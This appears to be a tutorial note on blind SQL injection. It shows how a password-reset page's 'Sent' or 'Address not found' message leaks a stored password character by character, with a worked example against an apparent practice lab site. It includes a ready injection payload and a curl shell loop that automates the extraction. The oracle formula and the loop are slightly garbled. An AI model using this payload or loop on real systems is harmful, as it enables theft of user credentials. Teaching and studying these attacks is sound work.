A blind SQL injection is a SQL injection in which the query’s results are not directly returned to the attacker, but the application’s observable behaviour (a distinguishable message, an error, a broken or empty page) still depends on whether the injected condition is true. The page thus functions as a boolean oracle: each request returns a single bit.
oracle(guess)={“Sent”“Address not found”if condition true,if false.
Mechanism
Char-by-char leak
Pick a target record (mail LIKE 'marco%') and a position pos in its password.
Guess a character and compare it with the recorded one using MID(str, pos, len) and BINARY for case sensitivity:
SELECT BINARY <guess> = MID(password, <pos>, 1)FROM people WHERE mail LIKE 'marco%';
Inside the vulnerable query, fold the comparison into a condition:
' OR BINARY '<guess>'=MID(password, <pos>, 1) AND mail LIKE 'marco%' -- -
If the oracle returns the success message, the guess is correct; advance pos. Otherwise try the next candidate character. A binary search over the alphabet reduces the number of requests.
Obs
MID is a synonym of SUBSTRING; BINARY forces byte-wise comparison. The column count and types need not be known because the comparison is folded into a boolean condition rather than a UNION SELECT.
Example
Leaking the first character of a password
On https://pwdreset.is.hackthe.space/index.php the page prints only Sent or Address not found, so it is a 1-bit oracle. To leak the password of the user whose mail starts with marco, the attacker injects a comparison and watches which message appears:
SELECT * FROM people WHERE mail = ' OR BINARY 'H' = MID(password, 1, 1) AND mail LIKE 'marco%'
Trying H at position 1 makes the page print Sent, whereas F or G print Address not found — so the password starts with H. Advancing pos and repeating recovers the rest of the string character by character. A shell loop automates this:
for pos in {1..10}; do for guess in {A..z}; do curl -s "$URL" \ --data "mail=' OR BINARY '${guess}'=MID(password, ${pos}, 1) AND mail LIKE 'marco%'" \ | grep -q sent && echo -n "${guess}" && breakdone; done